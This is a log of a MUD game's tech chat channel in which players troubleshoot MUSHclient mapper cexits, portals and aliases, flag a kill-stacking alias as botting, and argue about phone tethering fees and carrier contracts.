T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: it is using a syntax that i had set up to an macro i had but since deleted, it get illorian bag
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: You likely hit enter leaving it at level 0, since you can't use it at level 1, that is wrong. You want it set to the portal level, so the mapper knows what level it can start using that portal
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Mokg Tech: please just look and tell us instead of saying we're wrong without looking
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: do mapper portals... last column for illoria portal... what is number
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger guesses it's 0.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: one last thing, i see that when i use mapper walkto its not supposed to used portals, when i do this it does same thing, trys to use the illor portal
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Did you set it up as a cexit then instead of a portal?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: then you made a cexit somewhere to use the portal
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: You may have set the portal alias as a cexit?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: its all falling together!
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: mapper portals says illoria portal is lvl 60
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: yep good.  Now given your other problem as many have suggested you probably have a cexit problem somehwere
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: How about your cexits, which is what we just said?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: ahh cexit is good place for me to look , didnt think bout that
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: You know how to edit sqlite? Easy to search for a particular UID and delete the line in that, I think you need the starting room for a cexit to delete it in-mud
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Why not, 3 people said it was your cexit right after you explained your 'walkto' issue. If you can't be bothered to read the help you're given, why should we bother to give it?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: sorry for delay, im slow typer and havin to scroll up to read responses.. lemme check cexits
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: no
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Go to illoria, type 'mapper cexits here'
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: See what you see
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I suggest going to recall and doing 'mapper delete cexits'
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: cheez, im responding to your answers from scrolling up
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Since I'm assuming your runto is starting at recall
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Vakieh, it won't be in that room
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That's the end point of the cexit, not the start
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: ya i think the cexit is at recal
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: you need to get to the room where the cexit is, and do mapper delete cexit
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: but only in the specific room
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: type "mapper cexits" and go through your cexits, it has both source and destination rooms
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Found 2280 custom exits. :-)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Make sure, though, to use 'mapper portal' for portals in the future, and not 'mapper cexit'. Very different functionality, and if you use the 'mapper portal', it'll let you identify level locks for them
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: i am guessing he doesn't have 2000 cexits
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I only have 774 cexits :P
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Hence why I do most of my editing in raw sqlite directly now
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: I have 1639 :)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Which SQL client you use? Or do you use the terminal?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: 750 here, but I have passdoor wish, so don't need all those open cexits
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: sqlite studio, or the ff editor
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: I use the plugin for firefox
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I made mine with portability in mind, if i want to give it to a friend without passdoor, they'd be hosed.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: So I include opens anyways.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: I recently switched to Chrome, so the FF editor isn't so convenient anymore
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: You... pass on maps? Damn, man, why not let them play the game?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: you can run it without firefox, check their website
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: ff pluging that runs without ff ... nifty
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: No often, but if I ever do I don't want to make them spend weeks finding/fixing them all :P
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: not* often
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Meh, liking the power of Studio, and it loads orders of magnitude faster. Though that might not happen without the FF backend, who knows
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Nah, the ff plugin is pretty bloated as a standalone too
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: ok searching through my cexits, im gonna assume that its going to illoria so i need to mapper delete cexits in alloria ent?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I just use the terminal
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: No
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: As I said, you have to have where the cexit starts, not ends. So, if the cexit is at recall, that's where you delete it from
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: ok
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Harperon Tech: just make it use the cexit and see where it tries to use the portal from
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I can guarantee it's in his most common room; chall, manor, recall, aard amulet -- since it does this consistently.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: So it's where he's usually at when he tries that particular goto
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Try 'mapper goto 10447', and see what room it enters the portal in
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Yeah, do what Vak said if it turns out to not be recall.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: ya deleted cexit ant recal and seemed to work thank you all very much for help!
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: np :-) And don't fuss on the typing, aard is probably the best thing you can have to teach faster typing skills
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: There's truth in that.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I used to type slowly... and after years of aardwolf, that's no longer even the most remote of concerns
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: ya have gotten much faster then when i started a few months back, thank again guys much apprieciated. just wish i woulda started this mapper business when i first started, ive been speedwalking everywhere for 7 remorts hehe
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I did it for 7 tiers :P
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: how new is the mapper for muchclient?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Official release in what, 2010? But the AMCP or w/e it was was far older
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Santher Tech: not much different than r1557
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: ATCP, it seems
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: one more lil question not really tech but.. is it going to be normal for me generally speaking to have hundreds of aliases for my mapper gotos? like im making 1-5 alias per area, so seems like ill end up with quite a bit
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Make one alias that can take an argument
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: What aliases are you making? I have 1 per portal, and some for aq stuff (such as Knossos)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: winklewinkle has a script that lets you use xrt instead of runto ... so xrt hatch goes to hatchling from any room
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: my alias is wearportal *, so I just do mapper portal wearportal 'aard amulet'
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: And there are plugins available which allow runto area
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Santher Tech: xrt is like sticking a jet engine on runto
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Oozaru Tech: how can i copy my mapper files for winkle winkle so i can use them on another computer???
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Santher Tech: at least once you explore enough
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: im making an alias for each room so i dont have to remember room id, like mgmaelent for maelstrom entrance
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Copy the whole mushclient folder to a flash drive. MC is portable.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: mapper area find
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: You need never deal in room ID #s, just the name
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Yeah, get winkle. xrt fortress will do mapper find, mapper goto all in one step
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I've never typed out a room ID, there's no need.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: winkle xrt means every area in the mud is probably not much more than 10-15 squares for me (often less)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Santher Tech: nods at most you use i'd for handy aliases
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: usually around 5-6 if you got good portals :P
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: agreed
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Santher Tech: like heal room and q request etc
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: I modified my mapper plugin to show me the distance for each area - trust me redrain, unless you have a ridiculous amount of triv/c portals, you are looking at 20ish + for quite a few areas
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: love my tp portals
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: | The Council of the Wyrm        |    67 |
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: He has a cexit for that one :P
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: That one is just bugging me now, though
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: clan exit, rather
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: ok thanks guys im out, back to cping!
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Yeah, it's on my list - but it doesn't serve any other areas, and I get so few quest targets there...
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I have a cp portal to the secretary in descent, but that's useless on gqs.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: wyrm portal - 3 rooms
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: I wish you could pay a fee to goldify cps
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: hmmm why is kick arget not working?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: kick @target
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Expand variable checked?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: alias is "kick" send to world
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Ambiguity, HO!
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: oooo :) thanks cheez
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Lol, i grew up with it, good luck knowing more than me :P
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: mischan
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Honestly I never use the @varname syntax. I find it better to send everything to script and use GetVariable
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: what is context for mapper cexit_wait ? where do i put the number?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}BobTheGreat Tech: mapper cexit_wait number
T3/r7/2013-01-10.txt.gz:{chan ch=tech}BobTheGreat Tech: then mapper cexit whatever
T3/r7/2013-01-10.txt.gz:{chan ch=tech}BobTheGreat Tech: It's all in mapper help, by the way
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: ya im reading the help but still cant seem to get it to work, says invalid number
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: what number did you enter?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: 6
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: is it a toggle?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: i got it i think ty
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Who decided the word 'Elif' needed to be invented? Was elseif such a strain to type?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Hanslanda Tech: same guys who gave us iff.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Hanslanda Tech: iff = if and only if.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: hmmm mc kill hell;wait(10);kill hell;wait(10);open down;down
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: how come that doesn't work as an alias?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: alias is mapper cexit %1
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: Haldrik's bot program is activated by The River Styx and he rolls over on demand.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}BobTheGreat Tech: I'm pretty sure that's borderline botting
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: getting a key?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The River Styx Tech: not even borderline...
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Mokg Tech: having a cexit that kills mobs is illegal
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: oh whoops :(
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The River Styx Tech: having an alias that does multiple kills is botting, nevermind the cexit
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Book of Etzli Tech: You can stack commands, but there's a limit on how far you can go.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: BobTheGreat is agreeing with that The River Styx person again...
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: that was an alias to create a cexit
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: Putting attack or kill in a cexit is crossing the line, wouldnt sweat it, just change it and now you know :)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: yeah, my bad
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: it never worked anyhow, hehe
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: any way to clear a cmapper wait queue?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: can delete all cexits in 1 room
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Hanslanda Tech: cmud mapper or mush mapper?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: mush mapper
T3/r7/2013-01-10.txt.gz:{chan ch=tech}New Shag Carpet Tech: anyone know of any wifi companies that can be used as soon as purchased?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Where?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}New Shag Carpet Tech: pennsylvania usa
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Hanslanda Tech: AT&T, Sprint, and USCellular come to mind.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: wifi?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: New Shag Carpet nods at you in agreement. 
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: all wifi can be used immediately, other than charging if it's a cordless device...but wifi doesn't get you Internet access without being hooked up to non-wifi
T3/r7/2013-01-10.txt.gz:{chan ch=tech}New Shag Carpet Tech: one more question... is it possible to use my phone internet for my laptop?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Probably!
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Depends on your carrier.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}New Shag Carpet Tech: tmobile
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Most in the US charge extra for that feature though
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: depends on both carrier and phone, as well as service plan...some charge extra
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Rechy Arxe Tech: yeah, many carriers can and do do that. charges though
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: if your phone has wifi, then you can usually do wireless tethering...if not, then you'd need to have a cable that connects to both phone and laptop
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Tmobile has plans that do/don't include it. You can download third party apps to remove the requirement of the extra plan - but its likely a ToS violation, and may get you charged additionally on your bill. Your mileage may vary, I am not a lawyer, batteries not included.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Harperon Tech: you can do it free even if your carrier tries to charge for it.  its not like they can tell and verizon lost a class action suit about it
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: for wireless tethering, your phone basically becomes an access point/hotspot
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: The verizon issue had to do with agreements they made when they licensed their last band of spectrum. Their unlimited plans you still have to pay tethering on.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: And yes, they can tell.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: actually, any lte phone you will not have to pay tethering for verizon
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Bast: source?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Cherylpantz Tech: I use pdanet app for verizon. took about 2 minutes to set up, they can supposedly "mask" your tether if you like as well. and its free
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: http://news.cnet.com/8301-1035_3-57485518-94/what-verizons-fcc-tethering-settlement-means-to-you-faq/ 
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: nod, verizon's settlement was with the fcc, not with subscribers, and it was regarding use of "C block of 700 MHz spectrum"
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Rondel Tech: google needs to bring about their fiber faster
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Bast, thats what I was talking about "What if I have an old Verizon unlimited data plan? Can I download an app and avoid the $20 tethering fee too? Unfortunately, the answer to this question is no. Verizon says that customers under the unlimited plan are required by the company's terms of service to pay an additional fee to tether their device."
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: the thing is, there is no such thing as the "unlimited plan" on LTE devices anyway, they did away with it
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: And people who still ahve it are grandfathered in, bast
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Rondel Tech: verizon is slowly but not so slowly axing the grandfathered plans 
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: old plans still charge for tethering, only the new tiered plans are exempt
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: No they aren't, Rondel
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: very rare, if you upgraded your phone in the last 2 years, you aren't on the unlimited plan
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Cherylpantz Tech: I've been using that pdanet app to tether for years, never been charged or had anyone ask anything
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Dreckis Tech: i have unlimited data plan on lte and i use foxfi to tether via wifi and i dont get charged
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Thats not true either, Bast
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: daloran: they're trying...if you do any of their phone upgrades, they'll upgrade plans
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Dreck.. you might be getting away with it - but if you're on VZW, with an unlimited plan, tethering without the add on - you are violating your agreement with them.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Its only if you sign a new contract, and get a new subsidized phone, Abe
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Rondel Tech: wouldn't of told my brother he had to change his plan on a upgrade if they werent? especially after they stopped offering it
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: getting a new subsidized phone IS signing a new contract...
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Dreckis Tech: true story but its working fine so far and they havent taken it off their own verizon app store so they are round about endorsing it
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: And your point abe? I said only if you did those things, yes
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: who would sign a contract without some benefit, such as a subsidized handset or a reduced rate?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: and that's why I said "if you do any of their phone upgrades"
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: You can buy a new phone and upgrade out of pocket, abe
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: New phone doesn't mean no contract, if you don't have them subsidize it
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: doesn't mean new contract, rather
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: that's not a phone upgrade
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: If you didn't get a new contract and your 2 year contract is up, you are on month to month under the terms of your old contract, if you do anything, like add a line, get a new phone, etc.., new 2 year contract and you don't have unlimited anymore
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: How is replacing an older phone with a newer better phone not an upgrade =p
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: it's not through them
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: I didn't say through them.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: buying a phone is not getting a phone upgrade
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: it's merely buying a phone
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: It is upgrading your phone.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: no, it's buying another one
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: It is replacing your phone with a better one. Which is an upgrade.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Dreckis Tech: if you pay full retail its not an upgrade me the company
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: But it is still an upgrade =p
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: You nod at Dreckis.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: you can pretend that it fits the contextual definition all you want, doesn't change industry terms
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: how long until your last 2 year contract is up Daloran?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh cool, Thunderbird got a recent update.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: I'd have to check, but roughly 18 months. 
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Hopefully there's a network whizz on atm - I have an ADSL 2 connection which has been dropping overnight. My router support is blaming my ISP, my ISP is blaming my router (WAG320n if it makes much difference). I get SNR of 6 on both up and downstream, means it's the ISP, right?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: And abe, I don't need to pretend anything. I can buy a new phone out of pocket, not sign a new contract, and they would still call it an upgrade.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: no they wouldn't, because they don't care at that point, they would call it a new phone
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: and I have a hard time believing you got unlimited data and signed a new contract 6 months ago
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: And yet it is true.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: it was in the last batch of upgrades the did between when the announced the change, and when it actually went in to effect.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: seeing as how 6 months ago, there were no unlimited data plans in their offering...
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: they announced the change on January 4th of last year and they went into effect on January 15ish, they didn't give a lot of time
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Oh, for what its worth, via their website - As I don't qualify for a subsidized upgrade - if I go to purchase a new phone at full price, it is very clearly labeled as "Upgrade at full price"
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: do you have a business account? because business accounts can still be unlimited
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: No, personal.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Signed my new contract on Feb 29th of 2012
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: So a bit longer then I thought it'd been.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: 10.5 months
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: there a way to add an enter keystroke to a cexit?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: having a problem with a cexit any help available?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Mendaloth Tech: what's the issue?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: trying to figure out a wait command for kobal to buy a pass on go upstairs
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Ixle Tech: easier just to do the goal
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: its ;wait(5);
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: its in the help file
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Still, easier to just do the goal. :p
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: portal for goal here?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Not portal, but no need for pass anymore.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: or just nopass
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: ok ty
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Westclox Tech: is there an option i can turn on to allow color codes to automatically get captured when i cut and paste from main window?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Ctrl+D
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Mendaloth Tech: Nope, but you can select and press CTRL+D
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Book of Etzli Tech: If you're talking about MUSH.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Westclox Tech: awesome thanks :)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: damn I never knew that ... nice Etzli
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Don't thank me. I didn't put it in.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Book of Etzli Tech: I just knew about it.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: Book of Etzli blinks innocently.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: how much mushclient sometimes flashes?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: or was it you blinking
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: nah its like a window is opening and then closing super fast
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daesilme Tech: Probably the database backups running.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: ahh, it doesn't always message?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Hanslanda Tech: how long will a war go on if nobody ends up getting the win?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: 20 mins
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Mokg Tech: 20 mins, wrong channel
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Juictice Tech: 20 minutes.  MEgabyte!
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Ranrr Tech: I am looking for a wifi access point that has good support for setting parameters of speed and "standard type" to use for the connection. I am needing this for a test setup where I want to be able to change the speed of the connection, for a test setup. Anyone got any recommendations?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: so i'm probably going to upgrade my desktop, and am probably going to buy individual components since i still have plenty of working parts
